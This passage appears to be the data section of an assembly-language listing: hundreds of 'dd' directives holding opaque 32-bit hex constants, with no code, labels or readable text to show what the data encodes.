		dd 3CB19860h, 41673AF1h, 4E3C8C16h, 3CB1AFB3h, 7D9F09F1h
		dd 156657B6h, 0AC4284BBh, 15660432h, 1A3FE933h,	156610B3h
		dd 0A85D7132h, 13CE4C0Fh, 1548A03Dh, 96691132h,	1566883Bh
		dd 0CFE72252h, 4D314BFFh, 1A9D2A53h, 1566AEB4h,	94062432h
		dd 7FD7C3EBh, 0DEE77700h, 1A0707BEh, 156646BDh,	74619132h
		dd 0EA8F99DBh, 156361CDh, 60624432h, 9E87F459h,	0BD7C808Fh
		dd 15746134h, 1F204432h, 0F023C946h, 0EA98C0AFh, 0D8FCAE8Ch
		dd 0DC462561h, 3E33A7F5h, 1566179Ah, 1A9E8832h,	156648BFh
		dd 1561CB32h, 8A681132h, 6A98F97h, 9C9F2440h, 0BD60D787h
		dd 0DEC1E34h, 1A668832h, 156656B8h, 156BCB32h, 0E32F1132h
		dd 0F5F0B8A0h, 0EE88BB9Ch, 98C2D04Bh, 0A56243AFh, 15776134h
		dd 19614432h, 0B56EF1ADh, 795CC14Ah, 82B19E0Dh,	0E0A16A8Bh
		dd 1E93F1CDh, 12E21EF2h, 0E9668832h, 156626DBh,	88EBD732h
		dd 13CB816Dh, 156C6152h, 2DFF4432h, 0AA18CD3Ah,	0C6C7AC34h
		dd 15660C3Dh, 0EC074432h, 9669F1CDh, 0EA99EEB5h, 15668FDBh
		dd 0E2E24432h, 332FAA2Bh, 1393A4B9h, 68F8E9Ah, 69664432h
		dd 4178CD1Ah, 0A222F89Ah, 49996442h, 50891146h,	0A0EFE8C3h
		dd 13CE3A67h, 1AFB05CEh, 0ED60EAAAh, 9E9FF1CDh,	0BD6E2CB7h
		dd 90EF7134h, 13CE42C7h, 0FC07DAC7h, 15661135h,	0DCADCB8Bh
		dd 95EF2BF2h, 9069CA0Ch, 156611CEh, 0FDA50352h,	15664439h
		dd 4A388191h, 26D497EEh, 1A5E41C1h, 156644BAh, 96077D32h
		dd 0BD542C8Fh, 91698834h, 156644E6h, 940042CEh,	9ED0AEC5h
		dd 0A334E9E4h, 95A8BAA6h, 0C3905DD4h, 95E9F7B2h, 9D372BDCh
		dd 4C8ECCC7h, 0FCCCDB68h, 15661122h, 19089C8Fh,	690E2606h
		dd 0D1BC2430h, 5C6D502Ah, 1528D25Ah, 3152CD32h,	934226B3h
		dd 4D370901h, 0D550E1Fh, 0FD06B163h, 15662220h,	0B8F28191h
		dd 0BF45CDA3h, 1F2506B0h, 0C29299Dh, 0C5E771C2h, 0AA4F07Ah
		dd 0E6D14B6Ah, 0F2DB7753h, 94051911h, 8BD14EDFh, 488E4500h
		dd 344BDA1Bh, 7556785Eh, 9EBF0354h, 0AB3025C3h,	15662236h
		dd 4D10091Fh, 1096A151h, 763E322Ah, 156ACB6Ch, 659D1132h
		dd 67AA6152h, 79045478h, 0E9CD5775h, 156459DBh,	17D9E832h
		dd 757F60ACh, 1F8E4352h, 0CE661132h, 62E479BFh,	5DEF2FB4h
		dd 74077C13h, 0FFB68CBFh, 128F8E9Dh, 47664432h,	0F240B78Fh
		dd 0C6994633h, 156A0B3Dh
		dd 95694432h, 15662234h, 1566963Dh, 1A068832h, 156640B8h
		dd 0E9DD4432h, 13EF1E6Ah, 1A668832h, 156644B1h,	88EB4332h
		dd 13C9EE08h, 1567083Dh, 759A4432h, 73FED0B2h, 0EA07CBB9h
		dd 156361E1h, 9C3D4432h, 1EF774EAh, 0FE31EF2h, 0FC668832h
		dd 1566443Ah, 5B9C659h,	0B15780D3h, 1566BADBh, 17ED4B32h
		dd 75662232h, 0E0E39253h, 10602034h, 0EB0BADCBh, 9D69DDCDh
		dd 15661125h, 15669ADBh, 3B1EDA32h, 7C89EBA2h, 5CC66E85h
		dd 645D8C3Ch, 98AB6784h, 0A567AAAFh, 1DE41E34h,	75668832h
		dd 1566C93Dh, 0EA072232h, 14E31EE1h, 0E0668832h, 90698439h
		dd 15662209h, 0F1D87752h, 156C61F3h, 0EAA74432h, 2D1F3329h
		dd 2A68635Ah, 153B6153h, 94064432h, 7D66B9F2h, 0A5067050h
		dd 15766177h, 0C21A4432h, 28F538DFh, 82658E8h, 4232D37Fh
		dd 46073CD5h, 595C4A65h, 5A39297Bh, 15364FB3h, 0D2E76344h
		dd 0B5269149h, 1439EABBh, 1F8FD3E8h, 49664432h,	0FCBF2F58h
		dd 0A64088A9h, 15956147h, 1D8F4432h, 5662232h, 1A7BABD7h
		dd 9893CBD1h, 0B8F61BAFh, 0C699D734h, 154D923Dh, 0A3068832h
		dd 0A0ED251Bh, 13CE24C7h, 156EF8C7h, 21F58832h,	4C7A3EA9h
		dd 0CC8FB37Ah, 0FC66111Eh, 1566883Bh, 75C87F79h, 148D6235h
		dd 0E0EB9A41h, 0FC602034h, 15664421h, 0FBAFA34Dh, 5272656Fh
		dd 8256115Fh, 7B4EB16Ah, 9CCA27EAh, 0BD60E487h,	156C6134h
		dd 7AB84432h, 55B1DB35h, 1B25B7A9h, 4F8F09CEh, 3C397132h
		dd 4FDC70C3h, 14392432h, 409FD2E3h, 0D11C418Fh,	4A93A36Fh
		dd 9405BE37h, 0E470BDFFh, 0C4A3C524h, 946B7626h, 5AF241C7h
		dd 9CABA17Eh, 949A19DBh, 343410F4h, 51889002h, 3C79477Fh
		dd 51A0C5FCh, 9479ED7Fh, 343423DCh, 156C6102h, 473C4432h
		dd 5FB68AF7h, 13C5E44h,	1A062CC1h, 156644BBh, 0DFED4432h
		dd 0E9B3F853h, 906977CDh, 15664433h, 0B9FBAFCEh, 1A60BFABh
		dd 156689BDh, 7306B132h, 15FBB3h, 1AB5EE53h, 15668FB2h
		dd 14EB4B32h, 0ED662232h, 31529065h, 5C7ADB08h,	2FDF156Ah
		dd 242F3E61h, 3E9E48FAh, 0BD7C19B7h, 90EFB134h,	13CE2B53h
		dd 84E39ACAh, 1A602028h, 15664DB5h, 0AA694232h,	0F2DD77C5h
		dd 240EE949h, 9C66441Ch, 7D9F060Eh, 15667DC7h, 1A428CBBh
		dd 156645B4h, 128FD732h, 91661132h, 90E8D27Bh, 98EB4681h
		dd 13C8B9FFh, 2432A952h, 1C8FA960h, 8C664432h, 0A6F98E3Bh
		dd 0A97462AEh, 0FCB77753h, 15664439h, 3E072E83h, 5036A357h
		dd 9EA130CEh, 0BD54A9B7h, 198F4234h, 0BD661132h, 0A9BAF5C0h
		dd 175BCF2Ch, 74DB5CCFh, 94809864h, 15668CF4h, 1188C532h
		dd 92662232h, 9C3A3506h, 449FAC36h, 0D4E7A5BBh,	15662236h
		dd 1562F8B3h, 19E18832h, 29EF1816h, 2E82D16h, 0FC661132h
		dd 15668820h, 0F21E9941h, 3270AD41h, 20009B09h,	3497E0Eh
		dd 90ED90B5h, 13CE38A3h, 6B1679C7h, 11EF8832h, 188FB816h
		dd 54662232h, 0EF2E0D09h, 0B6E4AD48h, 8084F65Dh, 8997AFBFh
		dd 7306179Ch, 688B57B3h, 74B4B7B2h, 9506F3CDh, 0A269B0C7h
		dd 9C33E9C9h, 39E711F7h, 0A434E216h, 0D7E74B06h, 21D7DAF2h
		dd 18F246Fh, 0D9662232h, 0E1D84CFAh, 60B01FFCh,	0D0FCEAA7h
		dd 56A66F12h, 0EC2F7E32h, 9E367153h, 0D1E7603Eh, 15662236h
		dd 984DEDCBh, 13CEBADFh, 60DBC7CEh, 15608A32h, 15A2953Dh
		dd 0FC068832h, 1566443Bh, 0AC9E1F8Bh, 38E5926Bh, 9E077496h
		dd 0BD70EDB7h, 0CFE74234h, 436BBA24h, 88A90954h, 904D25EDh
		dd 13CE2247h, 15719B3Dh, 91698832h, 15664423h, 15662EDBh
		dd 92F93132h, 623C9025h, 969B4FCh, 156DCBEEh, 0BD661132h
		dd 9CA0A5B7h, 0CD4129AFh, 1AA719A6h, 156674B4h,	9369E832h
		dd 15664437h, 1AEA354h,	7401A078h, 1A8F0DB9h, 58F429Ah
		dd 8A662232h, 974E284Ah, 514B2BFAh, 0C8A54899h,	1688177Ah
		dd 0BD6664B7h, 15636134h, 0D4A54432h, 9C12F57Fh, 0BD64DCB7h
		dd 19ED8734h, 1A664432h, 156624BAh, 15E41E32h, 0FC668832h
		dd 15664584h, 156EAC3Dh, 92691132h, 15668830h, 460E2552h
		dd 9C662254h, 9469353Eh, 15668838h, 1A3F1752h, 156622B9h
		dd 47377032h, 0B22BC88h, 3132752Ch, 203E7836h, 0B785506h
		dd 15669BDBh, 0FEB4E632h, 0D7CBB519h, 0AC6D40F0h, 4FB5D9C8h
		dd 0C2043962h, 2C019C64h, 0CB912E40h, 3180097Ch, 0E225723Eh
		dd 1588A3E4h, 14D9EACEh, 1C8FD6C2h, 94664432h, 0A1DF1F32h
		dd 0CEA5F37Ah, 0EAD8DE65h, 9C66443Dh, 0ED6F7CC5h, 0EF1E6Dh
		dd 0FC668832h, 15664422h, 67EB60EEh, 810FEB93h,	9D53E206h
		dd 9BBC3487h, 15679C64h, 0E5671132h, 0FC06E86Ch, 15664439h
		dd 795FD66Dh, 0C81D1976h, 0FD39BA42h, 15664434h, 40F55025h
		dd 74381586h, 0BCE30153h, 7560EC24h, 1F8FC785h,	0CE661132h
		dd 149D1EDFh, 0AEE489D1h, 90674386h, 13CE3DA7h,	156698DBh
		dd 55A0F632h, 856DD42h,	5C9EFC4Fh, 683FE384h, 60E383C3h
		dd 15608A32h, 75661132h, 0AE946CB2h, 11987993h,	75264853h
		dd 0FD372281h, 15668835h, 0F5B5F32Fh, 4A3B1CF7h, 150E706Bh
		dd 0FC668822h, 15664426h, 0F9B32AFCh, 0B9749200h, 32B16E0Ch
		dd 37F39590h, 847D5D2Ah, 1573933Dh, 58F8832h, 2A664432h
		dd 0DBB5E7EDh, 38C4FC6h, 0C00453A6h, 7DAFA62Ch,	15660E25h
		dd 0E9421DBBh, 73068858h, 74CE038Bh, 35DBB7CDh,	0EA9A179Ah
		dd 0BD6AF9A7h, 14E84B34h, 0E0662232h, 1A8F94BBh, 138F8E9Ah
		dd 0E6664432h, 0D1E8C9B5h, 0D8E398BEh, 75602030h, 9E07A7B8h
		dd 9C35063Eh, 11A590D1h, 94668832h, 156640F1h, 317AA532h
		dd 0A099E46Eh, 13CE8AFFh, 1577C63Dh, 9B692232h,	15661139h
		dd 15668EDBh, 0A7E90B32h, 0EAB5C3F0h, 0BD54FC87h, 92697D34h
		dd 15664433h, 13BC4ACEh, 29EF1132h, 15766116h, 48C44432h
		dd 570991F2h, 6053989Ch, 7ED21A00h, 0A09902C5h,	13CE38A3h
		dd 15779B3Dh, 198F8832h, 0D3664432h, 1C4D3781h,	2191A80Ch
		dd 98AE2C1Dh, 0BBD238B7h, 0C599DE34h, 0D7DF7752h, 14077423h
		dd 0BD6631BFh, 1560CB34h, 8B6E1132h, 0B62607FFh, 0D8DBCFCBh
		dd 1A608A30h, 15661CBBh, 156E6132h, 58424432h, 40E342CEh
		dd 0A0EDFC24h, 13CEBADFh, 0E9C2B7C7h, 0FD797B9h, 1B8F179Ah
		dd 77668832h, 671BA4E9h, 5048E503h, 2480D1B8h, 0FD062521h
		dd 1566443Fh, 0A812A6EDh, 1C004765h, 5E4A0611h,	9A691BC1h
		dd 15662231h, 744AF5B2h, 24D83361h, 0F6A74BBEh,	7FA5A334h
		dd 943B9D7Bh, 9E2F5DD9h, 11858538h, 18069A62h, 0DF4B6064h
		dd 0D4678829h, 724340D2h, 1072A210h, 2E595F7Eh,	82C42C37h
		dd 4DA56D13h, 4E9A7CBBh, 156D903Dh, 73068832h, 0D30CA7B3h
		dd 0E0D29C54h, 10A6D053h, 156682DBh, 0FE381332h, 0C28F4FA5h
		dd 446EEFC2h, 795A3664h, 0E4EF763Ch, 0AA87A36Ch, 5416E54Ah
		dd 946561F3h, 0CF7AD5FBh, 0E8A7A33Dh, 946C4B0Dh, 16188EF3h
		dd 4CAE4520h, 1561AF3Dh, 91691132h, 15668833h, 0C0E347C7h
		dd 1A608A03h, 156605B8h, 15696132h, 0F28E4432h,	77A5F9D1h
		dd 60AFD75Fh, 7B4658ACh, 0D8EBCF92h, 1A608A30h,	156603B7h
		dd 1F8EE832h, 98664432h, 4722AC59h, 0D73488ADh,	9607D0F3h
		dd 19EF40DEh, 1A66AD16h, 156616B2h, 14E28732h, 0E0664432h
		dd 14EC2D9Fh, 0E0661132h, 4FC03062h, 0CD915B85h, 247EC317h
		dd 746F2426h, 0F5A7BBBAh
		dd 94630C35h, 465DED69h, 4BEFD2BBh, 1A3ED3CEh, 156648B1h
		dd 13E42D32h, 1A661132h, 156688B4h, 0A4D3CD32h,	0FC608A28h
		dd 15661135h, 2515927Fh, 9623F5D3h, 9069DDCAh, 15661155h
		dd 0BB363252h, 940703EFh, 0C8BBFF0Ch, 41E31EEFh, 75668832h
		dd 7439B165h, 15669F67h, 9A331132h, 409ED534h, 1566408Fh
		dd 5988A332h, 143F9709h, 59A009DCh, 483FC209h, 0C3D92D52h
		dd 0D7819054h, 0A0EFE9D6h, 13CE5E83h, 15662CDBh, 14DD5432h
		dd 908DBC91h, 939912FCh, 0FC69BF11h, 0EA99C2E7h, 0EFEDEE52h
		dd 0D40785B9h, 1A0621F2h, 156611B8h, 9C69D932h,	15664432h
		dd 9065436Bh, 13CE20E7h, 15669BDBh, 87B91232h, 452FE88Dh
		dd 0D889BC80h, 0A5078BE4h, 0DC490BC3h, 1B2F9FB1h, 1A67179Ah
		dd 156291B6h, 156FAD32h, 0E76D2232h, 9DA25B1Ch,	94CEBDB8h
		dd 0BFCCEE0Ch, 0D7E32D98h, 0FC661132h, 15668839h, 1A2E7301h
		dd 84737356h, 4068052Fh, 15623163h, 0D8EF4432h,	4888236Bh
		dd 1570963Dh, 48F8832h,	82664432h, 0AF355296h, 0ED4A44C9h
		dd 7455205Ch, 6D19932h,	1578795Ah, 31629832h, 1267EA8Ah
		dd 0E920834Dh, 6A612350h, 4D9A571Bh, 156682DBh,	3A0DE832h
		dd 1A5D7C7h, 4583E176h,	29EDD065h, 11A2C716h, 156BA63Dh
		dd 1D8F1132h, 8C668832h, 0AC38B16Ch, 75D522E5h,	95989A54h
		dd 440791EBh, 0C0906287h, 0D098E7CCh, 9D54E4B2h, 48FD1DAh
		dd 24664432h, 14E7A50Bh, 8CF4B81Bh, 0D902D4BDh,	71F6D7ADh
		dd 156676DBh, 1569F832h, 0E9838832h, 3F2417EAh,	0C98C1EEh
		dd 77FBAD03h, 249EB985h, 1A9E75F5h, 156634B5h, 5E01E32h
		dd 0FC668832h, 15664439h, 93F211DFh, 0AC2D5308h, 0A5AA7188h
		dd 47A1489Ah, 0FBA62A84h, 61A09130h, 151B66B2h,	138F1EC2h
		dd 0B8662232h, 5C28DEBEh, 0F3EFDE8Eh, 156282B3h, 0FBE72232h
		dd 15661136h, 4942BCB5h, 0EC4240BBh, 1FD79FB1h,	1A67179Ah
		dd 156705B6h, 0AB002432h, 73D9CFC2h, 74545A40h,	3BAAE060h
		dd 0D43C5545h, 0E7E724D0h, 624308E2h, 2B2362B3h, 0D7E70AC1h
		dd 3162B647h, 1EDC1BBh,	11A20916h, 75664432h, 74A1A9CEh
		dd 95AEACB1h, 1A668E9Dh, 15661DB6h, 14E52D32h, 0ED661132h
		dd 157E023Dh, 68F4432h,	17662232h, 0C921CCA2h, 0FB0BD2DCh
		dd 0A35E038Bh, 64184B26h, 88EB6CD1h, 13C8412Dh,	1561CA3Dh
		dd 75062232h, 0DAED7753h, 75B57753h, 15664BDAh,	0F97D6E32h
		dd 221BFCAh, 3986ACEAh,	0E1D53367h, 4A85E7B2h, 0F5AD9054h
		dd 2AE6E94Fh, 53E24BA2h, 1A662232h, 156600B0h, 156A6132h
		dd 5A584432h, 3C92EDA0h, 3CFE3B54h, 4093AC10h, 1566418Fh
		dd 0E89A332h, 14464F19h, 0EA109DDh, 48461A19h, 1561A53Dh
		dd 91691132h, 15668833h, 1492ADCAh, 93692232h, 15661133h
		dd 459E0BCAh, 15FEC63Dh, 9A692232h, 15661133h, 0A63570CEh
		dd 458594FFh, 0F64E2886h, 4EBE996Ah, 18EB87CBh,	75664432h
		dd 156624DBh, 82688B32h, 7476B724h, 1EEB4B98h, 0FC662232h
		dd 15661134h, 7E7A8404h, 2199C1CDh, 0D1E57A16h,	156DF836h
		dd 9C338832h, 62AD1530h, 84E4F1EBh, 48FBBDEh, 9A668832h
		dd 83E4B28Bh, 5D430A30h, 3B0FF55Fh, 0A6EE1BC5h,	1574AC52h
		dd 0F7FE2232h, 33786081h, 0BC6A7148h, 0F06C756Dh, 0DF0FCA1Eh
		dd 0D199D0B3h, 0A338AF69h, 0F18F254Ah, 1A662232h, 156610B9h
		dd 11ED7032h, 0F3EF1216h, 1562E4B3h, 0D3E51132h, 31520F36h
		dd 0FD06246Eh, 1566223Ah, 0CEC7A429h, 60B6F10Bh, 74A0CF6Bh
		dd 0BF07D2B8h, 0EA1991CAh, 0BDE387DBh, 1A664432h, 15662AB7h
		dd 17E21E32h, 75668832h, 0F2E72453h, 25589013h,	156602DAh
		dd 92444232h, 0FACE252h, 10D93198h, 97F620Bh, 0A564C694h
		dd 4D199BB3h, 743C0757h, 95AEACB1h, 1A668E9Dh, 15660DB6h
		dd 1BE32D32h, 75661132h, 1566053Dh, 0DAE74432h,	6673029Dh
		dd 5FB9C53h, 0FC6026FAh, 15664426h, 4B9B002Ah, 0C08D3583h
		dd 637968DFh, 0EFF08EF8h, 0C63E078Ah, 1A06C2CDh, 15668EBFh
		dd 15E44B32h, 94662232h, 1AB7F0FDh, 9D34E91Fh, 11DD17F4h
		dd 14662232h, 4E5599C9h, 12EE8768h, 1A664432h, 156623B2h
		dd 9E9AE432h, 0BD6445B7h, 0BC63BD34h, 3821A415h, 710031C8h
		dd 0EF63701Bh, 38022212h, 52E0059Bh, 0A26971CEh, 156361C0h
		dd 0C5434432h, 7434B173h, 1548635Ah, 317A0132h,	15664089h
		dd 4EBE0B32h, 1572F852h, 9D338832h, 8EFA1F67h, 0D6529930h
		dd 0BF55C77h, 33D628E2h, 0BE073466h, 156633DBh,	0B06DCC32h
		dd 0C79BC6C9h, 3C6D25DEh, 59288AF1h, 0E0CBA70Dh, 687D3567h
		dd 53A16CB7h, 6FE4C7CEh, 0E90810E5h, 9442A4B9h,	156640F6h
		dd 0DFED4232h, 74D4C7B2h, 0EA9D88DBh, 1561ADCDh, 8AA2232h
		dd 0D09DDB53h, 0A4D30195h, 7560EC28h, 5485A354h, 0DEE1EB9h
		dd 0FC668832h, 15664421h, 0DD910F2Eh, 8CA31CACh, 40059F6Ah
		dd 0E6F75776h, 741BA075h, 156619DBh, 35DB7732h,	301F10E7h
		dd 7164AFDh, 1EF1132h, 0DEA8716h, 0FC664432h, 15662221h
		dd 0F6757F17h, 0B4924F55h, 36C7E9D6h, 10065E54h, 7D63C656h
		dd 15660832h, 157FCE3Dh, 18F2232h, 4B661132h, 5ABDD701h
		dd 8F4EA5DBh, 0E53FD60Dh, 8D325F12h, 7FB94711h,	19E84B32h
		dd 1A662232h, 156617BEh, 15E28732h, 0EA664432h,	0BD78BF87h
		dd 156FF834h, 0FD8F8832h, 9CD0232Eh, 0EAEB201Fh, 0BD4EBCA7h
		dd 1ED7134h, 0F4EF1516h, 1562E3B3h, 0D4E51132h,	316A0F36h
		dd 0ED31246Eh, 98ED436Ch, 13CE0E77h, 156A0F3Dh,	95694432h
		dd 15662234h, 1566963Dh, 0F9E58832h, 3162CD36h,	1566228Ah
		dd 0D2AE1032h, 15668832h, 469F1C32h, 15662689h,	9EBF1032h
		dd 0D1E5AC2Eh, 14E64B36h, 0E0662232h, 0A239CBBh, 0FC068E9Ah
		dd 15664420h, 555BB307h, 281215B3h, 34D2E8B7h, 0D68BB268h
		dd 73060EFEh, 108FE2B9h, 0E0668832h, 6954E322h,	1D8F4353h
		dd 6D661132h, 0AF0DB1FFh, 0FC612391h, 0EA99E4D5h, 95DF7752h
		dd 15756059h, 83024432h, 5742A09Eh, 1659EEB7h, 2C5B08EAh
		dd 0D53BE6C9h, 0E2E74481h, 743DCE6Bh, 154CBFDBh, 8DD12432h
		dd 1564AD3Dh, 74061132h, 108FE853h, 0AE664432h,	69A25CC0h
		dd 0A239CB9h, 94068E9Ah, 1B7745C0h, 156CCA09h, 0E93D1132h
		dd 0D13A67C4h, 52995998h, 156630DBh, 0E3A04132h, 3CEEF173h
		dd 227A880h, 6CE2B010h,	4B20DF47h, 94577753h, 69E56006h
		dd 423F1C88h, 0E17A68Dh, 0D9A10912h, 2478DB38h,	9A697DCBh
		dd 15661137h, 0DAEDEE52h, 0D1EBCD53h, 75608DB2h, 15661BDAh
		dd 34406F32h, 994988A6h, 0FDCF7DE3h, 15661123h,	0E9F6F3EFh
		dd 0D6DB0CE7h, 83D6122Eh, 0E9A18E52h, 0A73CD310h, 2DE7257Fh
		dd 5922767Ch, 15E1943Dh, 9E068832h, 0EFED22E5h,	6DE74453h
		dd 1A485D36h, 1566FCB7h, 1569AD32h, 0FCFE2232h,	0F08EB26h
		dd 0F22CEB64h, 69BA79C7h, 118AA304h, 9C661132h,	11E7AC36h
		dd 8433CE16h, 0FBE77C7Eh, 59F744B8h, 14E587CBh,	0EC664432h
		dd 13DF7367h, 9C661132h, 0FB67D1FFh, 1D8F246Fh,	2D662232h
		dd 4B5E0EF0h, 95883D74h, 0ED0705F1h, 3A0FA7B9h,	0FD06179Ah
		dd 1566883Ah, 0F5A2260Ah, 409492BEh, 0A63FEAB9h, 578FE913h
		dd 0E0664437h, 21E772CEh, 0F0341C16h, 31520339h, 156280B3h
		dd 0E3E72232h, 1E83433Fh, 156687DBh, 525D0632h,	0E121A728h
		dd 6D390B13h, 0DECD494Bh
		dd 3162C562h, 208D7B2Bh, 0CD84768h, 3C53636Bh, 93691AC0h
		dd 15662223h, 15661DDBh, 0C840D332h, 0EACB463Fh, 0CD7D4A65h
		dd 0E9AF209Ah, 18ED879Eh, 75664432h, 1566A33Dh,	94001132h
		dd 7477ECE8h, 1A6678C7h, 156759B6h, 73307132h, 753F42B9h
		dd 0DF27FD54h, 713A078Bh, 2907702Ah, 0DCE2871Fh, 7599BBCDh
		dd 0FC959D3Dh, 1566113Fh, 0BD87E1D3h, 3312D3DEh, 726A2D52h
		dd 299E7094h, 0CDE2871Ch, 0FC664432h, 1566223Eh, 4EA9CE5Bh
		dd 8026191Ch, 0C0337E79h, 9769120Eh, 1566143Ah,	1A5FB4CBh
		dd 0EA99C3B4h, 545ADECDh, 1190933Dh, 759F8832h,	0A5DE2260h
		dd 9B69782Fh, 1566113Eh, 15668FDBh, 83C51F32h, 0B5AC8613h
		dd 1A3C2D53h, 0EA99D3B4h, 986924CDh, 15662231h,	7398A63Dh
		dd 74FCE58Ch, 91691B0Eh, 0EA99DD76h, 157F923Dh,	18F8832h
		dd 4D664432h, 0B5D1D65Fh, 318573A3h, 7818A5FFh,	0FCE7DBF8h
		dd 29A1C621h, 80E41E53h, 75668836h, 3B0EFF54h, 14E32D53h
		dd 0E9661132h, 9369F20Eh, 0EA99BB3Ah, 156629DBh, 6DB59E32h
		dd 5FCB673Fh, 0DB669833h, 1567A93Dh, 0FC931132h, 15668C56h
		dd 0E5E72452h, 5E94702h, 156619DBh, 5A03AE32h, 82547CE1h
		dd 0AB004318h, 430792AEh, 0EA99778Ch, 4B946DCDh, 19EC2DCEh
		dd 1A661132h, 15668EBDh, 15E94B32h, 2C662232h, 30E21EC0h
		dd 0FC668836h, 15664422h, 1DE2E1D7h, 4B192409h,	0CBB016B1h
		dd 0CDF50358h, 156DA63Dh, 138F1132h, 41668832h,	0D740B2D7h
		dd 14D8747Fh, 3C661132h, 7306D6C0h, 0EC3693B9h,	46374369h
		dd 92254A6Bh, 7C8F74EBh, 0ED99BBCCh, 9169EBB7h,	156612EAh
		dd 15668FDBh, 5C59C132h, 0B8F9A481h, 3097A4BFh,	1D8F8E9Ah
		dd 78664432h, 87263A2Fh, 470723D8h, 944284B9h, 156640F6h
		dd 156FCB32h, 0F4441132h, 9EC5B681h, 447B72B2h,	9C36F3BBh
		dd 4DA198FAh, 14E9876Bh, 0E0664432h, 1540A13Dh,	0FC061132h
		dd 1566883Ah, 7C562F6Dh, 927EF8D0h, 156600DAh, 2D582E32h
		dd 0C271D845h, 0DCC8A0ACh, 8E3AA59Fh, 743DF8F0h, 4AD21463h
		dd 9D17D6B2h, 0DDEE49D3h, 1576616Bh, 77A54432h,	60AFE45Fh
		dd 7B46C1ACh, 4946E692h, 60C8A175h, 940042CFh, 746DBEE9h
		dd 156686DBh, 2E20A832h, 0FCCAB1A9h, 0D7CD0362h, 1A588352h
		dd 156652B3h, 1B8F4232h, 4A661132h, 0E71C21B3h,	81AFD315h
		dd 7EE84AE6h, 9407ED63h, 5D2D20DBh, 11A7C56Ch, 3C3CAA49h
		dd 118F90CBh, 943C0049h, 5D2DECF3h, 922FDE6Ch, 92B4E6E3h
		dd 9D6970E3h, 15664433h, 2BA1A3CAh, 94312B49h, 0AF0924DDh
		dd 94A96D7Fh, 0AF098EF5h, 2B89907Fh, 7531B249h,	157ECE3Dh
		dd 68F2232h, 3B661132h,	0F4B34F8Ch, 37C324EEh, 136D0ABAh
		dd 0D8E78A43h, 0C4E60D7Ah, 966925C6h, 1566222Bh, 1575903Dh
		dd 1B8F8832h, 85664432h, 219C3888h, 19990DD2h, 8EE539C5h
		dd 4A301369h, 964216B9h, 1D8F15F6h, 52668832h, 6B11CE80h
		dd 0E6A1B045h, 1A06E996h, 156688BAh, 0A3342532h, 0EA11AA32h
		dd 964205B9h, 1B8F8CF6h, 0F2664432h, 47502D18h,	0C31AED5Bh
		dd 5AA6610Eh, 0E4F3C9B6h, 0FC608A17h, 1566113Ch, 0BA7C9918h
		dd 78E493A9h, 300C66D4h, 90EDA9C0h, 13CE8733h, 1AA6C1CAh
		dd 156662B7h, 94007132h, 0ED5F8BD5h, 0C0E38253h, 52608A27h
		dd 0AB00ED52h, 7D076CE9h, 0C1FCE3E0h, 80D3DDCAh, 0E060B93Dh
		dd 7C170DBFh, 1A064299h, 156624BEh, 15E11E32h, 94668832h
		dd 0D0520ED5h, 0C599435Ah, 0F4EF40CEh, 156249B3h, 0FCE54432h
		dd 316AA536h, 3172986Eh, 1567083Dh, 0EA9E4432h,	1576CBE2h
		dd 0D7301132h, 0D2FACF2Fh, 0F9E71CA1h, 0B7C040Ch, 0D5E3002Bh
		dd 14750D3Dh, 9D694432h, 15662235h, 1567993Dh, 0ED9F8832h
		dd 0B8BC1B9h, 9869249Ah, 1566112Ah, 15669BDBh, 42C75D32h
		dd 459ECC98h, 79162679h, 0DEBC4F1Fh, 2D557534h,	9069E2B7h
		dd 1566114Bh, 15668DDBh, 0B3E79632h, 90A0D9ABh,	13CE04E7h
		dd 58FE87Eh, 0D664432h,	96BC2D2Ch, 81DFCC08h, 17345136h
		dd 9EC49EBEh, 0FC0E43EAh, 75BFCB2Eh, 0B80954h, 0D6E72243h
		dd 0EA078533h, 0BD698487h, 90EB7434h, 13CD2D43h, 17E02D52h
		dd 75661132h, 0D92C3753h, 0FC0714A6h, 1566223Fh, 571B611Ch
		dd 0A4788A16h, 0BFA1F9D6h, 0ECB6DD8Ch, 156619DBh, 45AC3C32h
		dd 4C24347Fh, 0F4EF73F4h, 1562D0B3h, 0FCE78832h, 15664436h
		dd 49422EB5h, 754205BBh, 8913DB89h, 0CCED221Dh,	1AB6DD53h
		dd 156610BFh, 0D5E37D32h, 1549C13Dh, 0FC932232h, 1566118Ah
		dd 17E08752h, 45664432h, 75064368h, 0CB67E6B3h,	4EDEA217h
		dd 747187FAh, 156625DAh, 1A976132h, 92455825h, 4CA8CF54h
		dd 0D1E3AB53h, 0E060BEB2h, 152AE85Ah, 3162CD32h, 77BC4ACEh
		dd 21EF1132h, 1FEE8716h, 75664432h, 1566A83Dh, 0CCEC1132h
		dd 8E30553h, 0EC60EFB8h, 9C69F2CDh, 15661139h, 15668EDBh
		dd 3826FD32h, 1E9BE361h, 39E31EF2h, 1A668832h, 156643BDh
		dd 0A2694232h, 74B59AC8h, 1566BBDBh, 1ED4B32h, 1A662232h
		dd 15661FBDh, 156F6132h, 27E14432h, 5EDEE2AEh, 9CDCB26Dh
		dd 1A7AAC76h, 156645B5h, 9E69DA32h, 1566113Ah, 1564043Dh
		dd 74064432h, 0E9A5DB53h, 1569F852h, 8F428832h,	17B9C2C1h
		dd 51213765h, 34B10137h, 0D1EB03A9h, 7560EBB2h,	753DBC8Ch
		dd 0C502AA70h, 7507E9ECh, 7D07FF87h, 15665F38h,	1A4215BBh
		dd 156680BCh, 17ED4B32h, 75662232h, 20957953h, 39EF8832h
		dd 9CABCD16h, 1A067FDAh, 1F8FC885h, 0A4668832h,	1E65A4D3h
		dd 70480561h, 0AC3770F5h, 1566880Eh, 0AF348533h, 15662232h
		dd 1765DB33h, 9F69D168h, 15664439h, 15E22D52h, 95661132h
		dd 0ED0725E7h, 15EEF4CDh, 21E72232h, 0A00BE316h, 0AA31D20Dh
		dd 20D54726h, 0E2E76D75h, 1F607FD4h, 0FC397203h, 1566443Ch
		dd 9F7565D8h, 0E959C31Ch, 39D60EC8h, 80EFFDB7h,	13CE251Fh
		dd 9E00ED52h, 0AE35E9C8h, 156644CAh, 0CE477C1Fh, 10BE101Ch
		dd 3BBDA96Ch, 949F2469h, 170ADE9h, 65997041h, 3172033Eh
		dd 156280B3h, 9C692232h, 15661133h, 0B8F301CEh,	1A60EC3Bh
		dd 156623B5h, 2199E832h, 0D1E7D016h, 15664436h,	74B5A952h
		dd 314265CDh, 94428CB9h, 156640F6h, 8C4BDB32h, 1001F756h
		dd 11D58EF4h, 0D34B8C1Bh, 10629134h, 728075ABh,	156685DBh
